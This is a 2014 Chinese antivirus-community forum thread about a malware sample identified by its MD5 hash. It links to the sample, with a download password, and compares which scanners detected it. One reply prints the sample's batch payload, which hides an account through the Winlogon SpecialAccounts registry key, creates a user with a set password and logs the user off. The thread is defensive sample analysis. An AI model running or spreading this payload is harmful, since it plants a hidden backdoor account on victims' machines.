9d349264da56dd1c788f5d41b8ca37cf

显示全部楼层 · 发表于 2014-7-3 19:30:48

https://www.virustotal.com/zh-cn ... nalysis/1404385866/

链接: http://pan.baidu.com/s/1pJ8unsZ 密码: q0tm

http://kuai.xunlei.com/d/5FqBB8YIyT61UwQA6f0

火绒扫描MISS

双击

显示全部楼层 · 发表于 2014-7-3 19:33:20

Q管

显示全部楼层 · 发表于 2014-7-3 19:38:48

诺顿分析

显示全部楼层 · 发表于 2014-7-3 19:41:49

360未知
双击

显示全部楼层 · 发表于 2014-7-3 19:44:08

小a都习惯了，都能启发了
@】echo off
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v Administrator /t REG_DWORD /D 0 /f
net user friend /add
net user friend 999999
shutdown /l
太简单了吧。。。。

显示全部楼层 · 发表于 2014-7-3 19:50:55

fuzhk 发表于 2014-7-3 19:44
小a都习惯了，都能启发了
@】echo off
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\Curr ...

小A是不是又把卡饭拉黑啦？

显示全部楼层 · 发表于 2014-7-3 19:52:26

fuzhk 发表于 2014-7-3 19:44
小a都习惯了，都能启发了
@】echo off
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\Curr ...

其实就是释放BAT，BAT本来就不复杂

显示全部楼层 · 发表于 2014-7-3 19:53:09

蓝天二号发表于 2014-7-3 19:50
小A是不是又把卡饭拉黑啦？

不会的，小a拉黑网址是Mal:Url，Win32:Evo-gen 只针对文件。

显示全部楼层 · 发表于 2014-7-3 19:58:13

b573684723 发表于 2014-7-3 19:52
其实就是释放BAT，BAT本来就不复杂

看图标感觉就是用WinRAR做的自解压并执行的文件。

显示全部楼层 · 发表于 2014-7-3 20:05:23

fuzhk 发表于 2014-7-3 19:58
看图标感觉就是用WinRAR做的自解压并执行的文件。

有可能，不过这么简单也会有杀软防不了的

[病毒样本] 9d349264da56dd1c788f5d41b8ca37cf

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源